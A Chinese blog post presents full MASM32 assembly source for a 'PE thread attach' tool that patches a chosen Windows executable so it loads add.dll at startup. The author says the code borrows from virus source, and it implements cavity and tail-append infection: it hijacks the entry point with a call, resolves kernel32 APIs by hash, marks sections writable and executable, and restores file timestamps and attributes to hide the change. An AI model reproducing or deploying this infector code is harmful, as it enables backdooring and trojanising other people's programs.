PE线程附加

网上此类代码很多,不过大多都是在文件最后增加一个节,并改变PE文件的入口地址来达到目的。(当然这也是最经典的方式!)
不过这个方法也有它的不足之处,那就是怕文件头没有地方再新增节表了。所以俺更喜欢把代码插入PE文件的空隙(浪费资源可耻啊!),如果空隙不够的话就增加最后一个节的长度(因为现在很多软件都加了壳,基本上没有什么空隙),呵呵。
修改后的PE文件会加载同目录下的Add.dll文件!
源代码如下,写得很匆忙,Bug可能很多,也没加什么注释,请见谅!
;*********************************************************
;PE文件附加线程修改器1.0 by zjjmj2002
;借鉴了很多病毒的源代码,特此表示感谢!
;写得很急,可能Bug很多,请见谅!
;*********************************************************


.386
.model flat, stdcall
option casemap:none

include windows.inc
include kernel32.inc
include user32.inc
include shell32.inc
include comdlg32.inc
include    masm32.inc
include debug.inc

includelib kernel32.lib
includelib user32.lib
includelib shell32.lib
includelib comdlg32.lib
includelib masm32.lib
includelib debug.lib

;*********************************************************
;定义宏
;*********************************************************

CTEXT    MACRO y:VARARG
   LOCAL sym
   CONST segment
   ifidni <y>,<>            
       sym db 0        
  else            
       sym db y,0
   endif
   CONST ends
   exitm <offset sym>
ENDM

;*********************************************************
;常量定义
;*********************************************************
VirusSize = offset VirusEnd-offset VirusStart
.const
IDI_LC                equ    1
ICO_MAIN            equ    2
IDC_BUTTON_BROWSE        equ    3000
IDC_EDIT_FILENAME        equ    3001
IDC_EDIT_PASSWORD        equ    3002
IDC_CHECKBOX_KEEPBACKUP        equ    3003
IDC_BUTTON_PROCESS        equ    3004
IDC_BUTTON_ABOUT        equ    3005
IDC_BUTTON_EXIT            equ    3006
IDC_BUTTON_HELP            equ    3007
IDC_BUTTON_HOMEPAGE        equ    3008
DLG_HELP            equ    3009
IDC_EDIT_PASSWORD_2        equ    3010
IDM_MENU_ABOUT            equ    3011

;*********************************************************
;变量定义
;*********************************************************
.data
szDlgName            db    "DIALOG", 0
szCaption            db    " ", 0
szMenuAbout            db    "About Me!", 0
szFileFilter            db    "Executables (*.exe)", 0, "*.exe", 0, 0
szStatusDone            db    "Done!", 0
szError                db    "Error", 0
szErrorThread            db    "Error at %08Xh", 13, 10, "Registers:", 13, 10, "eax = %08Xh ebx = %08Xh ecx = %08Xh", 13, 10, "edx = %08Xh esp = %08Xh ebp = %08Xh", 13, 10, "esi = %08Xh edi = %08Xh", 13, 10, 13, 10, "Recovering...", 0
szErrorFinal            db    "Error at %08Xh", 13, 10, "Quitting...", 0
szFileName            db    256 dup (0)


;

;*********************************************************
;常量定义
;*********************************************************
.const

;*********************************************************
;代码段开始
;*********************************************************
.code
VirusStart:
pushad

call @F
@@:
pop ebx
sub ebx,offset @B

.if ebx    ;in host?
mov eax,[esp+24h]
.else
mov eax,[esp+20h]
.endif
@@:
and ax,0f000h
sub eax,1000h
cmp word ptr [eax],'ZM'
jnz @b
mov ebp,eax ;EBP=hKernel32


.if edx ;if in carrier ,restore the old entry!
sub dword ptr [esp+20h],5
mov edx,[esp+20h]
mov al,dwOldEntryCom[ebx]
mov [edx],al
mov eax,dword ptr dwOldEntryCom[ebx+1]
mov [edx+1],eax
.endif
call @f
db "add.dll",0
@@:
call dwLoadLibraryA[ebx]

popad
ret
dwOldEntryCom db 0,0,0,0,0 ;The OldEntry

;Section Data
_SectionAddress:
dd offset VirusStart
dd VirusSize

_GetProcAddress proc _hModule,_ProcName ;This routine is writing by others:)
pushad

mov edx,_hModule
add edx,[edx+3ch]
mov edx,[edx+78h]
add edx,_hModule
mov ecx,[edx+18h]
mov esi,[edx+20h]
add esi,_hModule

@@:
push ecx
lodsd
add eax,_hModule
xor edi,edi
.repeat
mov ecx,[eax]
inc eax
adc edi,ecx
rol ecx,8
.until cl==0
cmp edi,_ProcName ;Add and compare ,maybe have bugs.
pop ecx
loopnz @b

.if ZERO?
sub esi,4
sub esi,_hModule
sub esi,[edx+20h]
shr esi,1
add esi,[edx+24h]
add esi,_hModule
lodsd
movzx eax,ax
shl eax,2
add eax,[edx+1ch]
add eax,_hModule
mov edx,[eax]
add edx,_hModule
mov [esp+1ch],edx
.else
mov dword ptr [esp+1ch],0
.endif

popad
ret
_GetProcAddress endp

FunctionNameTab:
szCreateProcessW dd 074D9F4C0h
szCreateFileW dd 01479946Fh
szGetFileAttributesW dd 004788654h
szSetFileAttributesW dd 004788660h
szCreateFileMappingW dd 0E3486339h
szMapViewOfFile dd 0D444401Dh
szUnmapViewOfFile dd 0A6131C00h
szGetFileSize dd 01E92925Ch
szGetFileTime dd 01286865Dh
szSetFileTime dd 012868669h
szGetFileType dd 02599996Dh
szCloseHandle dd 027969D71h
szCreateProcessInternalW dd 0B51A3504h
szLoadLibraryA dd 07DDF0CDCh
szOpenProcess dd 050B5B28Bh
szVirtualAllocEx dd 062D4C5D2h
szLocalFree dd 051B4BEA3h
szGetProcAddress dd 05ED2C494h

dd 0


FunctionAddressTab:
dwCreateProcessW dd 0
dwCreateFileW dd 0
dwGetFileAttributesW dd 0
dwSetFileAttributesW dd 0
dwCreateFileMappingW dd 0
dwMapViewOfFile dd 0
dwUnmapViewOfFile dd 0
dwGetFileSize dd 0
dwGetFileTime dd 0
dwSetFileTime dd 0
dwGetFileType dd 0
dwCloseHandle dd 0
dwCreateProcessInternalW dd 0
dwLoadLibraryA dd 0
dwOpenProcess dd 0
dwVirtualAllocEx dd 0
dwLocalFree dd 0
dwGetProcAddress dd 0
szVersion db 'VER1.0',0    
VirusEnd:

.data?

;*********************************************************
;修改PE文件代码段开始
;*********************************************************
.code

AboutProc    proc uses edx hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
   .if uMsg == WM_CLOSE
       invoke EndDialog, hWnd, 0

   .elseif    uMsg == WM_INITDIALOG
       ;设置我的图标:
       invoke LoadIcon, hInstance, IDI_LC
       invoke SendMessage, hWnd, WM_SETICON, ICON_SMALL, eax

   .elseif uMsg == WM_COMMAND
       mov eax, wParam
       mov edx, eax
       shr edx, 16
       movzx eax, ax
       .if edx == BN_CLICKED
           .if eax == IDCANCEL || eax == IDOK
               invoke EndDialog, hWnd, NULL
           .elseif eax == IDC_BUTTON_HOMEPAGE
               ;打开我的主页:
               invoke ShellExecute, hWnd, CTEXT("open"), CTEXT("
http://bbs.618100.com"), NULL, NULL, SW_SHOWNORMAL
           .elseif eax == IDC_BUTTON_HELP
               ;打开 help.chm :
               invoke ShellExecute, hWnd, CTEXT("open"), CTEXT("help.txt"), NULL, NULL, SW_SHOWNORMAL
           .endif
       .endif

   .else
       mov eax, FALSE
       ret
   .endif

   mov eax, TRUE
   ret
AboutProc    endp

_FindSpace proc _StartAddress,_Size,_RequireSize
pushfd
push esi
push edi
cld

mov eax,_StartAddress
.if word ptr [eax]=='ZM'
add eax,[eax+3ch]
.if dword ptr [eax]=='EP'
movzx edx,word ptr [eax+14h]
add edx,18h
add edx,eax
sub edx,_StartAddress
sub _Size,edx
add _StartAddress,edx
.endif
.endif

mov edi,_StartAddress
mov ecx,_Size
shr ecx,2
xor eax,eax
@@:
repnz scasd
lea esi,[edi-4]
mov edx,esi
repz scasd
sub edx,edi
neg edx
sub edx,4
jecxz _FindSpace1
cmp edx,_RequireSize
jb @b
_FindSpace1:
.if edx>=_RequireSize
lea eax,[esi+4]
sub edx,4
.endif

pop edi
pop esi
popfd
ret
_FindSpace endp

_TranslateAddr proc _hModule,_Addr,_Flag
local @dwFlag
xor eax,eax
pushad

mov eax,_Flag
shr eax,1
mov @dwFlag,eax
and byte ptr _Flag,1

mov eax,_hModule
add eax,[eax+3ch]
movzx edx,word ptr [eax+14h]
add edx,18h
add edx,eax

mov ecx,_Addr
.if _Flag==0 && ecx>_hModule
sub ecx,_hModule
.elseif _Flag==1 && ecx>[eax+34h]
sub ecx,[eax+34h]
.endif
mov _Addr,ecx

.if ecx<[eax+54h]
.if _Flag==0
add ecx,[eax+34h]
.else
add ecx,_hModule
.endif
mov [esp+1ch],ecx
jmp _TranslateAddr1
.endif

movzx ecx,word ptr [eax+6]
.repeat
.if _Flag==0
mov esi,[edx+14h]
mov edi,[edx+10h]
add edi,esi
.else
mov esi,[edx+12]
mov edi,[edx+8]
add edi,esi
.endif

.if _Addr>=esi && _Addr<edi

.if !@dwFlag
test byte ptr [edx+27h],80h
.if !ZERO?
mov dword ptr [esp+1ch],-1
.break
.endif
.endif

sub esi,_Addr
neg esi
.if _Flag==0
add esi,[edx+12]
add esi,[eax+34h]
.else
add esi,[edx+14h]
add esi,_hModule
.endif
mov [esp+1ch],esi
.break

.endif

add edx,28h
.break .if !ecx
.untilcxz

_TranslateAddr1:
popad
ret
_TranslateAddr endp

;The infection method is cavity infection.It will insert pieces of itself to the cavity of host
;file,but if there are no enough place for it,it will append to the tail of host file.

Protect proc    proc _lpFileName;infect file
   
local @hFile
local @hFileMap
local @lpFileMap
local @dwFileSize
local @dwFileAttributes
local @stFileTime1:FILETIME
local @stFileTime2:FILETIME
local @stFileTime3:FILETIME
local @szTempBuffer[100h]:byte

nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushad
xor ebx,ebx
push _lpFileName
call dwGetFileAttributesW[ebx]
.if eax!=-1
mov @dwFileAttributes,eax

push 80h
push _lpFileName
call dwSetFileAttributesW[ebx]

push 0
push 80h
push 3
push 0
push 3
push 0c0000000h
push _lpFileName
call dwCreateFileW[ebx]
.if eax!=-1
mov @hFile,eax

push eax
call dwGetFileType[ebx]
.if eax==FILE_TYPE_DISK

push 0
push @hFile
call dwGetFileSize[ebx]
mov @dwFileSize,eax

lea eax,@stFileTime3
push eax
lea eax,@stFileTime2
push eax
lea eax,@stFileTime1
push eax
push @hFile
call dwGetFileTime[ebx]

push 0
push 0
push 0
push 4
push 0
push @hFile
call dwCreateFileMappingW[ebx]
.if eax
mov @hFileMap,eax

push 0
push 0
push 0
push 6
push eax
call dwMapViewOfFile[ebx]
.if eax
mov @lpFileMap,eax
;assume eax:img_dos_hdr<>
;.if @dwFileSize<10000000 ;I dont like infect BIG file !
.if word ptr [eax]=='ZM' ;eax.e_magic
.if byte ptr [eax+38h]==00
add eax,[eax+3ch] ;add eax,eax.e_lfanew
;assume eax:img_nt_hdrs<>
.if dword ptr [eax]=='EP' ;eax.Signature
bt dword ptr [eax+16h],13 ;eax.Characteristics
.if !CARRY?

lea edi,@szTempBuffer
mov eax,@lpFileMap
mov edx,@dwFileSize
push 18h
pop ecx
@@:
push ecx

push VirusSize
push edx
push eax
call _FindSpace
.if eax
push eax
push 0
push eax
push @lpFileMap
call _TranslateAddr
cmp eax,1
pop eax
jl _EditFile1
stosd
xchg eax,edx
stosd
xchg eax,edx
_EditFile1:
add eax,edx
mov ecx,eax
sub ecx,@lpFileMap
mov edx,@dwFileSize
sub edx,ecx
.endif

or eax,eax
pop ecx
loopnz @b
xor eax,eax
stosd
stosd

push 4
pop edx
.while dword ptr [@szTempBuffer+edx]

.if dword ptr [@szTempBuffer+edx] >= VirusSize
mov eax,dword ptr [@szTempBuffer+edx-4]
mov dword ptr @szTempBuffer,eax
mov eax,dword ptr [@szTempBuffer+edx]
mov dword ptr @szTempBuffer+4,eax
xor eax,eax
mov dword ptr @szTempBuffer+8,eax
mov dword ptr @szTempBuffer+12,eax
.break
.elseif dword ptr [@szTempBuffer+edx] >= VirusSize
mov eax,dword ptr [@szTempBuffer+edx-4]
xchg dword ptr @szTempBuffer,eax
mov dword ptr [@szTempBuffer+edx-4],eax
mov eax,dword ptr [@szTempBuffer+edx]
xchg dword ptr @szTempBuffer+4,eax
mov dword ptr [@szTempBuffer+edx],eax
.break
.endif

add edx,8
.endw

push 4
pop edx
xor eax,eax
.while dword ptr [@szTempBuffer+edx]
add eax,dword ptr [@szTempBuffer+edx] ;Count Space
add edx,8
.endw

.if dword ptr [@szTempBuffer+4] >= VirusSize && eax >= VirusSize
mov eax,VirusSize
lea edx,@szTempBuffer
lea esi,VirusStart[ebx]
.while dword ptr [edx]
.if dword ptr [edx+4] >= eax
mov dword ptr [edx+4],eax
.endif
mov edi,[edx]
mov ecx,[edx+4]
rep movsb
sub eax,[edx+4]
.break .if !eax
add edx,8
.endw
xor eax,eax
mov [edx+8],eax
mov [edx+12],eax

lea esi,@szTempBuffer
mov edi,[esi]
add edi,offset _SectionAddress-offset VirusStart

mov edx,esi
.while dword ptr [edx]
push 2
push dword ptr [edx]
push @lpFileMap
call _TranslateAddr
mov [edx],eax
add edx,8
.endw
push 19h*2
pop ecx
pushad
rep movsd
popad

mov edx,@lpFileMap
add edx,[edx+3ch] ;e_lfanew edx:img_nt_hdrs<>
push 3
push dword ptr [edx+28h] ;img_nt_hdrs.AddressOfEntryPoint
push @lpFileMap
call _TranslateAddr
mov esi,eax ;esi=Enter addr
mov cl,[esi]
mov byte ptr [edi-5],cl
mov ecx,[esi+1]
mov dword ptr [edi-4],ecx ;save Enter addr edi=offset __SectionAddress
sub edi,offset _SectionAddress-offset VirusStart ;edi=offset VirusStart
push 2
push edi
push @lpFileMap
call _TranslateAddr
sub eax,[edx+34h] ;edx.ImageBase
sub eax,[edx+28h] ;edx.AddressOfEntryPoint
sub eax,5 ;5byte of
mov byte ptr [esi],0e8h ;Opcode of Call
mov [esi+1],eax ;new

movzx eax,word ptr [edx+14h] ;edx.SizeOfOptionalHeader
add eax,18h
movzx ecx,word ptr [edx+6] ;edx.NumberOfSections
add edx,eax ;edx:IMAGE_SECTION_HEADER
.repeat
mov eax,[edx+10h] ;edx.
.if [edx+8]<eax ;edx.
mov [edx+8],eax
.endif
mov dword ptr [edx+24h],0e00000e0h ;
add edx,28h ;
.break .if !ecx
.untilcxz



.else ;if there is no enough place, add it in tail

push @lpFileMap
call dwUnmapViewOfFile[ebx]

push @hFileMap
call dwCloseHandle[ebx]

mov eax,@dwFileSize
add eax,01000h

push 0
push eax
push 0
push 4
push 0
push @hFile
call dwCreateFileMappingW[ebx]
mov @hFileMap,eax

push 0
push 0
push 0
push 6
push eax
call dwMapViewOfFile[ebx]
mov @lpFileMap,eax

add eax,[eax+3ch] ;eax:img_nt_hdrs<>
mov edx,[eax+50h] ;eax.SizeOfImage
add edx,1000h    
mov [eax+50h],edx
movzx ecx,word ptr [eax+6] ;eax.NumberOfSections
dec ecx
xchg eax,ecx
mov edx,28h
mul edx
xchg eax,ecx
movzx edx,word ptr [eax+14h] ;eax.SizeOfOptionalHeader
add edx,18h
add edx,eax
add edx,ecx

mov edi,@lpFileMap
add edi,@dwFileSize
lea esi,VirusStart[ebx]
mov ecx,VirusSize
pushad
rep movsb
popad

;mov ecx,@dwFileSize
;add ecx,VirusSize
;sub ecx,[edx+14h]
mov ecx,[edx+8]
add ecx,01000h
mov [edx+8],ecx
mov ecx,[edx+10h]
add ecx,01000h
mov [edx+10h],ecx


mov edx,@lpFileMap
add edx,[edx+3ch]
push 3
push dword ptr [edx+28h]
push @lpFileMap
call _TranslateAddr
mov esi,eax

mov edi,@lpFileMap
add edi,@dwFileSize
add edi,offset _SectionAddress-offset VirusStart
mov cl,[esi]
mov byte ptr [edi-5],cl
mov ecx,[esi+1]
mov dword ptr [edi-4],ecx
sub edi,offset _SectionAddress-offset VirusStart
push 2
push edi
push @lpFileMap
call _TranslateAddr
sub eax,[edx+34h]
sub eax,[edx+28h]
sub eax,5
mov byte ptr [esi],0e8h
mov [esi+1],eax

movzx eax,word ptr [edx+14h]
add eax,18h
movzx ecx,word ptr [edx+6]
add edx,eax
.repeat
mov eax,[edx+10h]
.if [edx+8]<eax
mov [edx+8],eax
.endif
mov dword ptr [edx+24h],0e00000e0h
add edx,28h
.break .if !ecx
.untilcxz

push 2
push edi
push @lpFileMap
call _TranslateAddr
add edi,offset _SectionAddress-offset VirusStart
mov [edi],eax
xor eax,eax
mov [edi+8],eax

.endif
mov eax,@lpFileMap
mov dword ptr [eax+38h],'JMJ'
invoke MessageBox,NULL,CTEXT("修改成功",0),CTEXT("Success!",0),MB_OK
.endif;'DLL'
;invoke MessageBox,NULL,CTEXT("不是exe文件",0),CTEXT("Error!",0),MB_OK
.endif;'EP'
;invoke MessageBox,NULL,CTEXT("无EP标志",0),CTEXT("Error!",0),MB_OK
.endif;! '
;invoke MessageBox,NULL,CTEXT("已经Modify过了!",0),CTEXT("Error!",0),MB_OK
.endif;'ZM'
;invoke MessageBox,NULL,CTEXT("无MZ标志",0),CTEXT("Error!",0),MB_OK
;.endif ;size
push @lpFileMap
call dwUnmapViewOfFile[ebx]
.endif

push @hFileMap
call dwCloseHandle[ebx]
.endif

lea eax,@stFileTime3
push eax
lea eax,@stFileTime2
push eax
lea eax,@stFileTime1
push eax
push @hFile
call dwSetFileTime[ebx]
.endif

push @hFile
call dwCloseHandle[ebx]
.endif

push @dwFileAttributes
push _lpFileName
call dwSetFileAttributesW[ebx]
.endif

popad
ret
Protect endp
WndProc proc hWnd:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
   .if uMsg == WM_CLOSE
       invoke    EndDialog, hWnd, 0

   .elseif uMsg == WM_INITDIALOG
       ;设置我的图标:
       invoke    LoadIcon, hInstance, ICO_MAIN
       invoke    SendMessage, hWnd, WM_SETICON, ICON_SMALL, eax

       
       invoke    CheckDlgButton, hWnd, IDC_CHECKBOX_KEEPBACKUP, BST_CHECKED

       
       mov eax, hWnd
       mov    mbp.hwndOwner, eax
       mov    ofn.hwndOwner, eax

       
       invoke    GetSystemMenu, eax, 0
       push    offset szMenuAbout
       push    IDM_MENU_ABOUT
       push    MFT_STRING
       push    eax
       ;invoke    AppendMenu, eax, MFT_SEPARATOR, 0, 0
       call    AppendMenu

       
       invoke    SendDlgItemMessage, hWnd, IDC_EDIT_FILENAME, EM_SETLIMITTEXT, sizeof szFileName, 0
       invoke    SendDlgItemMessage, hWnd, IDC_EDIT_PASSWORD, EM_SETLIMITTEXT, sizeof szPassword, 0
       invoke    SendDlgItemMessage, hWnd, IDC_EDIT_PASSWORD_2, EM_SETLIMITTEXT, sizeof szPassword_2, 0

   .elseif uMsg == WM_SYSCOMMAND
       .if    wParam == IDM_MENU_ABOUT
           ;打开“关于”对话框:
           invoke DialogBoxParam, hInstance, DLG_HELP, hWnd, offset AboutProc, 0
       .endif

   .elseif uMsg == WM_COMMAND
       mov    eax, wParam
       .if ax == IDC_BUTTON_BROWSE
           ;“打开文件”对话框:
           mov    ofn.lStructSize, sizeof ofn
           mov    ofn.lpstrFilter, offset szFileFilter
           mov    ofn.lpstrFile, offset szFileName
           mov    ofn.nMaxFile, sizeof szFileName
           invoke    GetOpenFileName, addr ofn
           ;如果选择了一个文件,就把它的文件名输出到“文件名”这个 Edit 中:
           test    eax, eax
           .if !zero?
               invoke    SetDlgItemText, hWnd, IDC_EDIT_FILENAME, addr szFileName
           .endif
       .elseif ax == IDC_BUTTON_PROCESS || ax == IDOK
           invoke    GetDlgItemTextW, [mbp.hwndOwner], IDC_EDIT_FILENAME, addr szFileName, sizeof szFileName    
           invoke    Protect,addr szFileName
       .elseif ax == IDC_BUTTON_ABOUT
           ;“关于”对话框:
           invoke DialogBoxParam, hInstance, DLG_HELP, hWnd, offset AboutProc, 0
       .elseif ax == IDC_BUTTON_EXIT
           ; Over,走人...
           invoke    SendMessage, hWnd, WM_CLOSE, 0, 0
       .endif

   .else
       mov eax, FALSE
       ret
   .endif

   xor    eax, eax
   ret
WndProc endp
main:
   ;以下一段内容不用多解释吧?
   call @F
@@:
pop ebx
sub ebx,offset @B
invoke LoadLibrary,CTEXT("kernel32.dll",0)
mov ebp,eax ;EBP=hKernel32

lea esi,FunctionNameTab[ebx]
lea edi,FunctionAddressTab[ebx]
@@:
lodsd
push eax
push ebp
call _GetProcAddress
stosd
cmp dword ptr [esi],0
loopnz @b
   invoke    GetModuleHandle, eax
   mov        hInstance, eax
   mov        mbp.hInstance, eax
   mov        ofn.hInstance, eax
   invoke    DialogBoxParam, eax, addr szDlgName, 0, addr WndProc, eax
   invoke    ExitProcess, eax
end main
;********************    over    ********************



附件: 附加进程.zip (8 K)  
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值